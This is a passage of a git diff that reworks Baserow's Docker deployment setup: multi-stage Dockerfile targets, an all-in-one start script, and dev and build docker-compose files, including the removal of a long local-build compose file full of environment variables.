/baserow/web-frontend/.nuxt/ /baserow/web-frontend/.nuxt/ -COPY --chown=$UID:$GID --from=web_frontend_image_base /baserow/ /baserow/ -COPY --chown=$UID:$GID --from=backend_image_base /baserow/ /baserow/ +# ============================================================================= +# Production Lite - no embedded database/cache (use external services) +# ============================================================================= +FROM base AS prod-lite +ARG UID +ARG GID +ENV DJANGO_SETTINGS_MODULE='baserow.config.settings.base' \ + PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src" -COPY --chown=$UID:$GID deploy/all-in-one/supervisor/ /baserow/supervisor +# Copy from pre-built images +COPY --link --from=web_frontend_image /baserow/ /baserow/ +COPY --link --from=backend_image /baserow/ /baserow/ +COPY --chown=$UID:$GID ./backend/docker/mime.types /etc/ +COPY --chown=$UID:$GID Caddyfile /baserow/caddy/Caddyfile +COPY --chown=$UID:$GID deploy/all-in-one/supervisor/ /baserow/supervisor COPY --chown=$UID:$GID deploy/all-in-one/baserow.sh /baserow.sh COPY --chown=$UID:$GID deploy/plugins/*.sh /baserow/plugins/ + +HEALTHCHECK --interval=60s CMD ["/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh", "backend-healthcheck"] ENTRYPOINT ["/baserow.sh"] CMD ["start"] EXPOSE 80 + + +# ============================================================================= +# Production - adds embedded PostgreSQL + Redis +# ============================================================================= +FROM base AS prod +ARG UID +ARG GID + +ENV DJANGO_SETTINGS_MODULE='baserow.config.settings.base' \ + PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src" + +# Add PostgreSQL repo (for pgvector) and install postgres + redis +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + curl -fsSL https://www.postgresql.org/media/keys/ACCC4CF8.asc | gpg --dearmor -o /usr/share/keyrings/postgresql-keyring.gpg && \ + echo "deb [signed-by=/usr/share/keyrings/postgresql-keyring.gpg] http://apt.postgresql.org/pub/repos/apt bookworm-pgdg main" > /etc/apt/sources.list.d/postgresql.list && \ + apt-get update && \ + apt-get install --no-install-recommends -y \ + postgresql-$POSTGRES_VERSION \ + postgresql-${POSTGRES_VERSION}-pgvector \ + redis-server && \ + # Setup redis + usermod -a -G tty redis && \ + sed -i 's/daemonize yes/daemonize no/g' /etc/redis/redis.conf && \ + sed -i 's/daemonize no/daemonize no\nbind 127.0.0.1/g' /etc/redis/redis.conf && \ + sed -i '/^logfile/d' /etc/redis/redis.conf && \ + chown redis:redis /etc/redis/redis.conf + +COPY --link --from=web_frontend_image /baserow/ /baserow/ +COPY --link --from=backend_image /baserow/ /baserow/ + +COPY --chown=$UID:$GID ./backend/docker/mime.types /etc/ +COPY --chown=$UID:$GID Caddyfile /baserow/caddy/Caddyfile +COPY --chown=$UID:$GID deploy/all-in-one/supervisor/ /baserow/supervisor +COPY --chown=$UID:$GID deploy/all-in-one/baserow.sh /baserow.sh +COPY --chown=$UID:$GID deploy/plugins/*.sh /baserow/plugins/ + +HEALTHCHECK --interval=60s CMD ["/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh", "backend-healthcheck"] +ENTRYPOINT ["/baserow.sh"] +CMD ["start"] +EXPOSE 80 \ No newline at end of file diff --git a/deploy/all-in-one/baserow.sh b/deploy/all-in-one/baserow.sh index a0a6f9f747..a754e0d0e8 100755 --- a/deploy/all-in-one/baserow.sh +++ b/deploy/all-in-one/baserow.sh @@ -222,22 +222,22 @@ file_env EMAIL_SMTP_PASSWORD if [[ -z "${DISABLE_EMBEDDED_REDIS:-}" ]]; then mkdir -p "$DATA_DIR"/redis - chown -R redis:redis "$DATA_DIR"/redis -fi + chown -R redis:redis "$DATA_DIR"/redis + fi if [[ -z "${DISABLE_EMBEDDED_PSQL:-}" ]]; then mkdir -p "$DATA_DIR"/postgres - chown -R postgres:postgres "$DATA_DIR"/postgres -fi + chown -R postgres:postgres "$DATA_DIR"/postgres + fi mkdir -p "$DATA_DIR"/caddy -chown -R "$DOCKER_USER": "$DATA_DIR"/caddy + chown -R "$DOCKER_USER": "$DATA_DIR"/caddy mkdir -p "$DATA_DIR"/media -chown -R "$DOCKER_USER": "$DATA_DIR"/media + chown -R "$DOCKER_USER": "$DATA_DIR"/media mkdir -p "$DATA_DIR"/env -chown -R "$DOCKER_USER": "$DATA_DIR"/env + chown -R "$DOCKER_USER": "$DATA_DIR"/env mkdir -p "$DATA_DIR"/backups -chown -R "$DOCKER_USER": "$DATA_DIR"/backups + chown -R "$DOCKER_USER": "$DATA_DIR"/backups # ======================== # = COMMAND LINE ARG HANDLER diff --git a/deploy/all-in-one/dev.Dockerfile b/deploy/all-in-one/dev.Dockerfile deleted file mode 100644 index 45f428b855..0000000000 --- a/deploy/all-in-one/dev.Dockerfile +++ /dev/null @@ -1,7 +0,0 @@ -FROM baserow - -# Install dev dependencies manually. -COPY --chown=$UID:$GID ./backend/requirements/dev.txt /tmp/dev-requirements.txt -RUN . /baserow/venv/bin/activate && pip3 install -r /tmp/dev-requirements.txt - -ENV BASEROW_ALL_IN_ONE_DEV_MODE='true' diff --git a/deploy/all-in-one/docker-compose.dev.yml b/deploy/all-in-one/docker-compose.dev.yml index 03ec1419a0..ed85d3cd90 100644 --- a/deploy/all-in-one/docker-compose.dev.yml +++ b/deploy/all-in-one/docker-compose.dev.yml @@ -1,10 +1,10 @@ services: # A dev compose file for quickly setting up an all in one with hot code reloading - baserow_all_in_one_dev: - image: baserow_dev + baserow_all_in_one: build: - dockerfile: $PWD/deploy/all-in-one/dev.Dockerfile + dockerfile: $PWD/deploy/all-in-one/Dockerfile context: $PWD + target: dev args: # We allow configuring the UID/GID here so you can run as the dev's actual user # reducing the chance the containers screw up the bind mounted folders. @@ -17,19 +17,24 @@ services: ports: - "80:80" - "443:443" + - "5432:5432" + - "6379:6379" volumes: - - baserow_all_in_one_data:/baserow/data + - baserow_all_in_one_data_dev:/baserow/data - $PWD/deploy/all-in-one/baserow.sh:/baserow.sh + # backend - $PWD/backend:/baserow/backend - $PWD/premium/backend/:/baserow/premium/backend - $PWD/enterprise/backend/:/baserow/enterprise/backend + # web-frontend - $PWD/web-frontend:/baserow/web-frontend + - $PWD/premium/web-frontend/:/baserow/premium/web-frontend + - $PWD/enterprise/web-frontend/:/baserow/enterprise/web-frontend + - $PWD/deploy/plugins/:/baserow/plugins/ + - $PWD/tests:/baserow/tests # Override the above mounts for node_modules so we use the node_modules built # directly into the image instead of whatever is on your local filesystem. - /baserow/web-frontend/node_modules - - $PWD/premium/web-frontend/:/baserow/premium/web-frontend - - $PWD/enterprise/web-frontend/:/baserow/enterprise/web-frontend - stdin_open: true tty: true mailhog: @@ -39,4 +44,4 @@ services: ports: - "8025:8025" # web ui volumes: - baserow_all_in_one_data: + baserow_all_in_one_data_dev: diff --git a/deploy/all-in-one/docker-compose.yml b/deploy/all-in-one/docker-compose.yml index 7dff36ea71..ae520e1dbd 100644 --- a/deploy/all-in-one/docker-compose.yml +++ b/deploy/all-in-one/docker-compose.yml @@ -1,15 +1,11 @@ services: # A dev / testing /example compose file for quickly setting up an all in one baserow_all_in_one: - image: baserow + image: baserow:${BASEROW_VERSION:-2.0.3} build: dockerfile: $PWD/deploy/all-in-one/Dockerfile context: $PWD - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID + target: prod environment: EMAIL_SMTP: 'yes' EMAIL_SMTP_HOST: 'mailhog' diff --git a/deploy/all-in-one/supervisor/start.sh b/deploy/all-in-one/supervisor/start.sh index 29e94581a5..34cad83a6e 100755 --- a/deploy/all-in-one/supervisor/start.sh +++ b/deploy/all-in-one/supervisor/start.sh @@ -37,11 +37,11 @@ if [[ "$DATABASE_HOST" == "localhost" && -z "${DATABASE_URL:-}" ]]; then # Update the postgres config to point at the DATA_DIR which must be done here as # DATA_DIR can change at runtime. sed -i "s;/var/lib/postgresql/$POSTGRES_VERSION/main;$DATA_DIR/postgres;g" "$POSTGRES_LOCATION"/postgresql.conf - chown postgres:postgres "$POSTGRES_LOCATION"/postgresql.conf + chown postgres:postgres "$POSTGRES_LOCATION"/postgresql.conf # Setup an empty baserow database with the provided user and password. POSTGRES_SETUP_SCRIPT_COMMAND=${POSTGRES_SETUP_SCRIPT_COMMAND:-setup} - ./baserow/supervisor/wrapper.sh GREEN POSTGRES_INIT ./baserow/supervisor/docker-postgres-setup.sh ${POSTGRES_SETUP_SCRIPT_COMMAND} + ./baserow/supervisor/wrapper.sh GREEN POSTGRES_INIT ./baserow/supervisor/docker-postgres-setup.sh ${POSTGRES_SETUP_SCRIPT_COMMAND} # Enable the embedded postgres by moving it into the directory from which supervisor # includes all .conf files it finds. diff --git a/deploy/cloudron/docker-compose.yml b/deploy/cloudron/docker-compose.yml index 0c121602d8..c6257adc45 100644 --- a/deploy/cloudron/docker-compose.yml +++ b/deploy/cloudron/docker-compose.yml @@ -7,7 +7,7 @@ services: dockerfile: $PWD/deploy/cloudron/Dockerfile context: $PWD args: - - FROM_IMAGE=baserow + - FROM_IMAGE=baserow/baserow:latest environment: - CLOUDRON_POSTGRESQL_PASSWORD=baserow - CLOUDRON_POSTGRESQL_DATABASE=baserow diff --git a/docker-compose.all-in-one.yml b/docker-compose.all-in-one.yml index 042487e7b9..4bbe375398 100644 --- a/docker-compose.all-in-one.yml +++ b/docker-compose.all-in-one.yml @@ -3,7 +3,7 @@ services: baserow: container_name: baserow - image: baserow/baserow:2.0.6 + image: baserow/baserow:${BASEROW_VERSION:-2.0.6} environment: BASEROW_PUBLIC_URL: 'http://localhost' ports: diff --git a/docker-compose.build.yml b/docker-compose.build.yml new file mode 100644 index 0000000000..003cedbffb --- /dev/null +++ b/docker-compose.build.yml @@ -0,0 +1,18 @@ +# Build overrides for production images +# Usage: docker compose -f docker-compose.yml -f docker-compose.build.yml build --parallel +# +# This file only contains build directives - no runtime config. +# Use with base docker-compose.yml to build production images locally. + +services: + backend: + build: + dockerfile: ./backend/Dockerfile + context: . + target: prod + + web-frontend: + build: + dockerfile: ./web-frontend/Dockerfile + context: . + target: prod diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 48ef065bbf..85384f22f2 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -5,6 +5,10 @@ services: ports: - "${HOST_PUBLISH_IP:-127.0.0.1}:${POSTGRES_PORT:-5432}:5432" command: "${POSTGRES_DEV_EXTRA_ARGS}" + volumes: + # Use a different volume in case the Major version is different from the + # production one to avoid issues. + - pgdatadev:/var/lib/postgresql/data redis: ports: @@ -18,7 +22,7 @@ services: - $PWD/Caddyfile.dev:/etc/caddy/Caddyfile backend: - image: baserow_backend_dev:latest + image: baserow_backend:dev environment: - BASEROW_BACKEND_DEBUGGER_ENABLED - BASEROW_BACKEND_DEBUGGER_PORT=${BASEROW_BACKEND_DEBUGGER_PORT:-5678} @@ -41,7 +45,7 @@ services: - ./backend:/baserow/backend - ./premium/backend/:/baserow/premium/backend - ./enterprise/backend/:/baserow/enterprise/backend - - ./deploy/plugins/install_plugin.sh:/baserow/plugins/install_plugin.sh + - ./deploy/plugins/:/baserow/plugins/ - ./tests:/baserow/tests # Open stdin and tty so when attaching key input works as expected. stdin_open: true @@ -50,7 +54,7 @@ services: - otel-collector web-frontend: - image: baserow_web-frontend_dev:latest + image: baserow_web-frontend:dev build: dockerfile: ./web-frontend/Dockerfile context: . @@ -64,58 +68,46 @@ services: - "${HOST_PUBLISH_IP:-127.0.0.1}:3000:3000" volumes: - ./web-frontend:/baserow/web-frontend - # Override the above mounts for node_modules so we use the node_modules built - # directly into the image instead of whatever is on your local filesystem. - - /baserow/web-frontend/node_modules - ./premium/web-frontend/:/baserow/premium/web-frontend - ./enterprise/web-frontend/:/baserow/enterprise/web-frontend - ./tests/:/baserow/tests + - ./deploy/plugins:/baserow/plugins + # Override the above mounts for node_modules so we use the node_modules built + # directly into the image instead of whatever is on your local filesystem. + - node_modules:/baserow/web-frontend/node_modules # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true web-frontend-storybook: - image: baserow_web-frontend_dev:latest + image: baserow_web-frontend:dev + profiles: ["optional"] restart: unless-stopped environment: FEATURE_FLAGS: networks: local: - build: - dockerfile: ./web-frontend/Dockerfile - context: . - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID command: "storybook-dev" + healthcheck: + disable: true ports: - "${HOST_PUBLISH_IP:-127.0.0.1}:6006:6006" volumes: - ./web-frontend:/baserow/web-frontend - # Override the above mounts for node_modules so we use the node_modules built - # directly into the image instead of whatever is on your local filesystem. - - /baserow/web-frontend/node_modules - ./premium/web-frontend/:/baserow/premium/web-frontend - ./enterprise/web-frontend/:/baserow/enterprise/web-frontend - ./tests/:/baserow/tests + - ./deploy/plugins:/baserow/plugins + # Override the above mounts for node_modules so we use the node_modules built + # directly into the image instead of whatever is on your local filesystem. + - node_modules:/baserow/web-frontend/node_modules # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true celery: - image: baserow_backend_dev:latest - build: - dockerfile: ./backend/Dockerfile - context: . - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID + image: baserow_backend:dev + user: "${UID}:${GID}" command: "watch-py celery-worker" environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318 @@ -124,6 +116,7 @@ services: - ./backend:/baserow/backend - ./premium/backend/:/baserow/premium/backend - ./enterprise/backend/:/baserow/enterprise/backend + - ./deploy/plugins:/baserow/plugins # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true @@ -131,24 +124,17 @@ services: - otel-collector celery-export-worker: - image: baserow_backend_dev:latest + image: baserow_backend:dev + user: "${UID}:${GID}" + command: "watch-py celery-exportworker" environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318 - BASEROW_DANGEROUS_SILKY_ANALYZE_QUERIES - build: - dockerfile: ./backend/Dockerfile - context: . - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID - command: "watch-py celery-exportworker" volumes: - ./backend:/baserow/backend - ./premium/backend/:/baserow/premium/backend - ./enterprise/backend/:/baserow/enterprise/backend + - ./deploy/plugins:/baserow/plugins # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true @@ -156,40 +142,32 @@ services: - otel-collector celery-beat-worker: - image: baserow_backend_dev:latest + image: baserow_backend:dev + user: "${UID}:${GID}" + command: "watch-py celery-beat" environment: - OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318 - build: - dockerfile: ./backend/Dockerfile - context: . - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID - command: "watch-py celery-beat" volumes: - ./backend:/baserow/backend - ./premium/backend/:/baserow/premium/backend - ./enterprise/backend/:/baserow/enterprise/backend + - ./deploy/plugins:/baserow/plugins # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true celery-flower: - image: baserow_backend_dev:latest - build: - dockerfile: ./backend/Dockerfile - context: . - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID + image: baserow_backend:dev + user: "${UID}:${GID}" + profiles: ["optional"] restart: unless-stopped stop_signal: SIGQUIT + command: "celery-flower" + healthcheck: + test: ["CMD-SHELL", "curl --fail http://localhost:5555 || exit 1"] + interval: 30s + timeout: 10s + retries: 3 environment: REDIS_HOST: REDIS_PORT: @@ -197,13 +175,14 @@ services: REDIS_URL: REDIS_USER: REDIS_PASSWORD: ${REDIS_PASSWORD:?} - depends_on: - - backend volumes: + - ./backend:/baserow/backend + - ./premium/backend/:/baserow/premium/backend + - ./enterprise/backend/:/baserow/enterprise/backend + - ./deploy/plugins:/baserow/plugins - media:/baserow/media ports: - "5555:5555" # web ui - command: "celery-flower" networks: local: # Open stdin and tty so when attaching key input works as expected. @@ -211,19 +190,17 @@ services: tty: true mjml-email-compiler: - build: - target: dev - args: - # We allow configuring the UID/GID here so you can run as the dev's actual user - # reducing the chance the containers screw up the bind mounted folders. - UID: $UID - GID: $GID - context: . - dockerfile: ./web-frontend/Dockerfile - image: baserow_web-frontend:latest + image: baserow_web-frontend:dev + depends_on: + - web-frontend + user: "${UID}:${GID}" command: "bash -c 'cd /baserow/backend/email_compiler/ && yarn install && yarn run watch'" + healthcheck: + disable: true volumes: - ./backend:/baserow/backend + - ./web-frontend/docker:/baserow/web-frontend/docker + - ./deploy/plugins:/baserow/plugins # Open stdin and tty so when attaching key input works as expected. stdin_open: true tty: true @@ -242,7 +219,7 @@ services: # environment here. volume-permissions-fixer: image: bash:4.4 - command: chown ${UID:-1000}:${GID:-1000} -R /baserow/media + command: chown ${UID:-9999}:${GID:-9999} -R /baserow/media volumes: - media:/baserow/media - caddy_config:/config @@ -262,3 +239,7 @@ services: local: ports: - "4318:4318" + +volumes: + pgdatadev: + node_modules: \ No newline at end of file diff --git a/docker-compose.local-build.yml b/docker-compose.local-build.yml deleted file mode 100644 index 2fb50ad997..0000000000 --- a/docker-compose.local-build.yml +++ /dev/null @@ -1,369 +0,0 @@ -# Runs Baserow with each service in its own container and builds the Baserow images -# from this local repository instead of using the pre-built images from Dockerhub. -# Otherwise, identical to docker-compose.yml. -# -# More documentation can be found in: -# https://baserow.io/docs/installation%2Finstall-with-docker-compose - -# See https://baserow.io/docs/installation%2Fconfiguration for more details on these -# backend environment variables, their defaults if left blank etc. -x-backend-variables: - &backend-variables # Most users should only need to set these first four variables. - SECRET_KEY: ${SECRET_KEY:?} - DATABASE_PASSWORD: ${DATABASE_PASSWORD:?} - REDIS_PASSWORD: ${REDIS_PASSWORD:?} - BASEROW_JWT_SIGNING_KEY: ${BASEROW_JWT_SIGNING_KEY:-} - # If you manually change this line make sure you also change the duplicate line in - # the web-frontend service. - BASEROW_PUBLIC_URL: ${BASEROW_PUBLIC_URL-http://localhost} - - # Set these if you want to use an external postgres instead of the db service below. - DATABASE_USER: ${DATABASE_USER:-baserow} - DATABASE_NAME: ${DATABASE_NAME:-baserow} - DATABASE_HOST: - DATABASE_PORT: - DATABASE_OPTIONS: - DATABASE_URL: - - # Set these if you want to use an external redis instead of the redis service below. - REDIS_HOST: - REDIS_PORT: - REDIS_PROTOCOL: - REDIS_URL: - REDIS_USER: - - # Set these to enable Baserow to send emails. - EMAIL_SMTP: - EMAIL_SMTP_HOST: - EMAIL_SMTP_PORT: - EMAIL_SMTP_USE_TLS: - EMAIL_SMTP_USE_SSL: - EMAIL_SMTP_USER: - EMAIL_SMTP_PASSWORD: - EMAIL_SMTP_SSL_CERTFILE_PATH: - EMAIL_SMTP_SSL_KEYFILE_PATH: - FROM_EMAIL: - - # Set these to use AWS S3 bucket to store user files. - AWS_ACCESS_KEY_ID: - AWS_SECRET_ACCESS_KEY: - AWS_STORAGE_BUCKET_NAME: - AWS_S3_REGION_NAME: - AWS_S3_ENDPOINT_URL: - AWS_S3_CUSTOM_DOMAIN: - - # Misc settings see https://baserow.io/docs/installation%2Fconfiguration for info - BASEROW_AMOUNT_OF_WORKERS: - BASEROW_ROW_PAGE_SIZE_LIMIT: - BATCH_ROWS_SIZE_LIMIT: - INITIAL_TABLE_DATA_LIMIT: - BASEROW_FILE_UPLOAD_SIZE_LIMIT_MB: - BASEROW_OPENAI_UPLOADED_FILE_SIZE_LIMIT_MB: - BASEROW_UNIQUE_ROW_VALUES_SIZE_LIMIT: - - BASEROW_AUTOMATION_HISTORY_PAGE_SIZE_LIMIT: - BASEROW_AUTOMATION_WORKFLOW_RATE_LIMIT_MAX_RUNS: - BASEROW_AUTOMATION_WORKFLOW_RATE_LIMIT_CACHE_EXPIRY_SECONDS: - BASEROW_AUTOMATION_WORKFLOW_MAX_CONSECUTIVE_ERRORS: - - BASEROW_EXTRA_ALLOWED_HOSTS: - ADDITIONAL_APPS: - BASEROW_PLUGIN_GIT_REPOS: - BASEROW_PLUGIN_URLS: - - BASEROW_ENABLE_SECURE_PROXY_SSL_HEADER: - MIGRATE_ON_STARTUP: ${MIGRATE_ON_STARTUP:-true} - SYNC_TEMPLATES_ON_STARTUP: ${SYNC_TEMPLATES_ON_STARTUP:-true} - BASEROW_SYNC_TEMPLATES_PATTERN: - DONT_UPDATE_FORMULAS_AFTER_MIGRATION: - BASEROW_TRIGGER_SYNC_TEMPLATES_AFTER_MIGRATION: - BASEROW_SYNC_TEMPLATES_TIME_LIMIT: - - BASEROW_BACKEND_DEBUG: - BASEROW_BACKEND_LOG_LEVEL: - FEATURE_FLAGS: - BASEROW_ENABLE_OTEL: - BASEROW_DEPLOYMENT_ENV: - OTEL_EXPORTER_OTLP_ENDPOINT: - OTEL_RESOURCE_ATTRIBUTES: - POSTHOG_PROJECT_API_KEY: - POSTHOG_HOST: - - PRIVATE_BACKEND_URL: http://backend:8000 - PUBLIC_BACKEND_URL: - PUBLIC_WEB_FRONTEND_URL: - BASEROW_EMBEDDED_SHARE_URL: - MEDIA_URL: - MEDIA_ROOT: - - BASEROW_AIRTABLE_IMPORT_SOFT_TIME_LIMIT: - HOURS_UNTIL_TRASH_PERMANENTLY_DELETED: - OLD_ACTION_CLEANUP_INTERVAL_MINUTES: - MINUTES_UNTIL_ACTION_CLEANED_UP: - BASEROW_GROUP_STORAGE_USAGE_QUEUE: - DISABLE_ANONYMOUS_PUBLIC_VIEW_WS_CONNECTIONS: - BASEROW_WAIT_INSTEAD_OF_409_CONFLICT_ERROR: - BASEROW_DISABLE_MODEL_CACHE: - BASEROW_PLUGIN_DIR: - BASEROW_JOB_EXPIRATION_TIME_LIMIT: - BASEROW_JOB_CLEANUP_INTERVAL_MINUTES: - BASEROW_ROW_HISTORY_CLEANUP_INTERVAL_MINUTES: - BASEROW_ROW_HISTORY_RETENTION_DAYS: - BASEROW_USER_LOG_ENTRY_CLEANUP_INTERVAL_MINUTES: - BASEROW_USER_LOG_ENTRY_RETENTION_DAYS: - BASEROW_IMPORT_EXPORT_RESOURCE_CLEANUP_INTERVAL_MINUTES: - BASEROW_IMPORT_EXPORT_RESOURCE_REMOVAL_AFTER_DAYS: - BASEROW_IMPORT_EXPORT_TABLE_ROWS_COUNT_LIMIT: - BASEROW_MAX_ROW_REPORT_ERROR_COUNT: - BASEROW_JOB_SOFT_TIME_LIMIT: - BASEROW_FRONTEND_JOBS_POLLING_TIMEOUT_MS: - BASEROW_INITIAL_CREATE_SYNC_TABLE_DATA_LIMIT: - BASEROW_WEBHOOKS_ALLOW_PRIVATE_ADDRESS: - BASEROW_WEBHOOKS_IP_BLACKLIST: - BASEROW_WEBHOOKS_IP_WHITELIST: - BASEROW_WEBHOOKS_URL_REGEX_BLACKLIST: - BASEROW_WEBHOOKS_URL_CHECK_TIMEOUT_SECS: - BASEROW_WEBHOOKS_MAX_CONSECUTIVE_TRIGGER_FAILURES: - BASEROW_WEBHOOKS_MAX_RETRIES_PER_CALL: - BASEROW_WEBHOOKS_MAX_PER_TABLE: - BASEROW_WEBHOOKS_MAX_CALL_LOG_ENTRIES: - BASEROW_WEBHOOKS_REQUEST_TIMEOUT_SECONDS: - BASEROW_INTEGRATIONS_ALLOW_PRIVATE_ADDRESS: - BASEROW_INTEGRATIONS_PERIODIC_MINUTE_MIN: - BASEROW_ENTERPRISE_AUDIT_LOG_CLEANUP_INTERVAL_MINUTES: - BASEROW_ENTERPRISE_AUDIT_LOG_RETENTION_DAYS: - BASEROW_ALLOW_MULTIPLE_SSO_PROVIDERS_FOR_SAME_ACCOUNT: - BASEROW_SEAT_USAGE_JOB_CRONTAB: - BASEROW_PERIODIC_FIELD_UPDATE_CRONTAB: - BASEROW_PERIODIC_FIELD_UPDATE_UNUSED_WORKSPACE_INTERVAL_MIN: - BASEROW_PERIODIC_FIELD_UPDATE_TIMEOUT_MINUTES: - BASEROW_PERIODIC_FIELD_UPDATE_QUEUE_NAME: - BASEROW_MAX_CONCURRENT_USER_REQUESTS: - BASEROW_CONCURRENT_USER_REQUESTS_THROTTLE_TIMEOUT: - BASEROW_SEND_VERIFY_EMAIL_RATE_LIMIT: - BASEROW_LOGIN_ACTION_LOG_LIMIT: - BASEROW_OSS_ONLY: - OTEL_TRACES_SAMPLER: - OTEL_TRACES_SAMPLER_ARG: - OTEL_PER_MODULE_SAMPLER_OVERRIDES: - BASEROW_CACHALOT_ENABLED: - BASEROW_CACHALOT_MODE: - BASEROW_CACHALOT_ONLY_CACHABLE_TABLES: - BASEROW_CACHALOT_UNCACHABLE_TABLES: - BASEROW_CACHALOT_TIMEOUT: - BASEROW_BUILDER_PUBLICLY_USED_PROPERTIES_CACHE_TTL_SECONDS: - BASEROW_BUILDER_DISPATCH_ACTION_CACHE_TTL_SECONDS: - BASEROW_AUTO_INDEX_VIEW_ENABLED: - BASEROW_PERSONAL_VIEW_LOWEST_ROLE_ALLOWED: - BASEROW_DISABLE_LOCKED_MIGRATIONS: - BASEROW_USE_PG_FULLTEXT_SEARCH: - BASEROW_PG_FULLTEXT_SEARCH_UPDATE_DATA_THROTTLE_SECONDS: - BASEROW_BUILDER_DOMAINS: - BASEROW_FRONTEND_SAME_SITE_COOKIE: - BASEROW_ICAL_VIEW_MAX_EVENTS: ${BASEROW_ICAL_VIEW_MAX_EVENTS:-} - BASEROW_WEBHOOK_ROWS_ENTER_VIEW_BATCH_SIZE: - BASEROW_DEADLOCK_INITIAL_BACKOFF: - BASEROW_DEADLOCK_MAX_RETRIES: - BASEROW_PREMIUM_GROUPED_AGGREGATE_SERVICE_MAX_SERIES: - BASEROW_PREMIUM_GROUPED_AGGREGATE_SERVICE_MAX_AGG_BUCKETS: - BASEROW_ENTERPRISE_ASSISTANT_LLM_MODEL: - BASEROW_ENTERPRISE_ASSISTANT_LLM_TEMPERATURE: - BASEROW_EMBEDDINGS_API_URL: - -services: - # A caddy reverse proxy sitting in-front of all the services. Responsible for routing - # requests to either the backend or web-frontend and also serving user uploaded files - # from the media volume. - caddy: - image: caddy:2 - restart: unless-stopped - environment: - # Controls what port the Caddy server binds to inside its container. - BASEROW_CADDY_ADDRESSES: ${BASEROW_CADDY_ADDRESSES:-:80} - PRIVATE_WEB_FRONTEND_URL: ${PRIVATE_WEB_FRONTEND_URL:-http://web-frontend:3000} - PRIVATE_BACKEND_URL: ${PRIVATE_BACKEND_URL:-http://backend:8000} - BASEROW_PUBLIC_URL: ${BASEROW_PUBLIC_URL:-} - ports: - - "${HOST_PUBLISH_IP:-0.0.0.0}:${WEB_FRONTEND_PORT:-80}:80" - - "${HOST_PUBLISH_IP:-0.0.0.0}:${WEB_FRONTEND_SSL_PORT:-443}:443" - volumes: - - $PWD/Caddyfile:/etc/caddy/Caddyfile - - media:/baserow/media - - caddy_config:/config - - caddy_data:/data - networks: - local: - - backend: - image: baserow_backend:latest - build: - dockerfile: ./backend/Dockerfile - context: . - restart: unless-stopped - environment: - <<: *backend-variables - depends_on: - - db - - redis - volumes: - - media:/baserow/media - networks: - local: - - web-frontend: - image: baserow_web-frontend:latest - build: - dockerfile: ./web-frontend/Dockerfile - context: . - restart: unless-stopped - environment: - BASEROW_PUBLIC_URL: ${BASEROW_PUBLIC_URL-http://localhost} - PRIVATE_BACKEND_URL: ${PRIVATE_BACKEND_URL:-http://backend:8000} - PUBLIC_BACKEND_URL: - PUBLIC_WEB_FRONTEND_URL: - BASEROW_EMBEDDED_SHARE_URL: - BASEROW_DISABLE_PUBLIC_URL_CHECK: - INITIAL_TABLE_DATA_LIMIT: - DOWNLOAD_FILE_VIA_XHR: - BASEROW_DISABLE_GOOGLE_DOCS_FILE_PREVIEW: - BASEROW_DISABLE_SUPPORT: - HOURS_UNTIL_TRASH_PERMANENTLY_DELETED: - DISABLE_ANONYMOUS_PUBLIC_VIEW_WS_CONNECTIONS: - FEATURE_FLAGS: - ADDITIONAL_MODULES: - BASEROW_MAX_IMPORT_FILE_SIZE_MB: - BASEROW_MAX_SNAPSHOTS_PER_GROUP: - BASEROW_ENABLE_OTEL: - BASEROW_DEPLOYMENT_ENV: - BASEROW_OSS_ONLY: - BASEROW_USE_PG_FULLTEXT_SEARCH: - BASEROW_PG_FULLTEXT_SEARCH_UPDATE_DATA_THROTTLE_SECONDS: - BASEROW_UNIQUE_ROW_VALUES_SIZE_LIMIT: - BASEROW_ROW_PAGE_SIZE_LIMIT: - BASEROW_BUILDER_DOMAINS: - BASEROW_FRONTEND_SAME_SITE_COOKIE: - BASEROW_AUTOMATION_HISTORY_PAGE_SIZE_LIMIT: - BASEROW_AUTOMATION_WORKFLOW_RATE_LIMIT_MAX_RUNS: - BASEROW_AUTOMATION_WORKFLOW_RATE_LIMIT_CACHE_EXPIRY_SECONDS: - BASEROW_AUTOMATION_WORKFLOW_MAX_CONSECUTIVE_ERRORS: - BASEROW_INTEGRATIONS_PERIODIC_MINUTE_MIN: - depends_on: - - backend - networks: - local: - - celery: - image: baserow_backend:latest - build: - dockerfile: ./backend/Dockerfile - context: . - restart: unless-stopped - environment: - <<: *backend-variables - command: celery-worker - # The backend image's baked in healthcheck defaults to the django healthcheck - # override it to the celery one here. - healthcheck: - test: - [ - "CMD-SHELL", - "/baserow/backend/docker/docker-entrypoint.sh celery-worker-healthcheck", - ] - depends_on: - - backend - volumes: - - media:/baserow/media - networks: - local: - - celery-export-worker: - image: baserow_backend:latest - build: - dockerfile: ./backend/Dockerfile - context: . - restart: unless-stopped - command: celery-exportworker - environment: - <<: *backend-variables - # The backend image's baked in healthcheck defaults to the django healthcheck 